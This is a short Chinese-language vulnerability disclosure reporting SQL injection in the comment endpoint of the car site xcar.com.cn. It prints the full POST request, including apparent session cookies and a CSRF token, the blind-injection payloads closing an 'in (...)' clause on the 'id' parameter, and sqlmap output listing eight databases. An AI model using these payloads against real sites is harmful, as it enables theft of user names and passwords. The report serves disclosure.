爱卡汽车网爆严重注入(用户名,密码能查询)

信息安全 4416 Views

注入点:POST /icomment_news2.php HTTP/1.1Host: comment.xcar.com.cnContent-Length: 81Accept: text/html, */*; q=0.01Origin: http://comment.xcar.com.cnX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://comment.xcar.com.cn/comment.php?nid=870598&ctype=0Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2Cookie: _Xdwuv=548fc194e7aaa; mlti=@10~141870735432523592@; mlts=@10~4>208.117.252.1@; _locationInfo_=%7Burl%3A%22http%3A%2F%2Fgz.xcar.com.cn%2F%22%2Ccity_id%3A%22347%22%2Cprovince_id%3A%2230%22%2C%20city_name%3A%22%25E5%25B9%25BF%25E5%25B7%259E%22%7D; place_prid=30; place_crid=0; place_ip=14.29.122.239_1; p_group_playTime=3; p_group_playState=1; _Xdwnewuv=1; uv_firstv_refer=%28%249%29/201208/app/erji.php%3Fid%3D3686430//%28%243%29/bbs/header/bbsnav.htm; LDCLGFbrowser=27b41032-d7ca-4cf5-b3e7-324edbd2edfa; club_csrf_token=99b7ab2a278712fa7c84d316ff42043e; textId=content; bbs_sid=EtFloo; count_user=1421659279_390346929; Hm_lvt_53eb54d089f7b5dd4ae2927686b183e0=1421660524,1421660534,1421660581,1421660633; Hm_lpvt_53eb54d089f7b5dd4ae2927686b183e0=1421660633; mltn=@10~6189401666388519761>32>1421660702103>32>1421660702103>45590195674552637>1418707354567@; _Xdwstime=1421660742action=referenceComment&id=2143018%2C2143024参数id,目测是in (xxx)类型的,所以括号闭合即可盲注id=2143018%2C2143024) and (1=1 返回正确id=2143018%2C2143024) and (2=11 返回空

漏洞证明:

sqlmap跑数据发现涉及到8个数据库available databases [8]:[*] bd_seo[*] branchdb[*] information_schema[*] seo[*] test[*] xcardb[*] xcardb2[*] xcardb2_new从数据库名来看应该是主站的数据都在里面了,涉及的用户数据应该是很大的,希望及时修复,避免不必要的损失

如未说明则本站原创,转载请注明出处:NULL » 爱卡汽车网爆严重注入(用户名,密码能查询)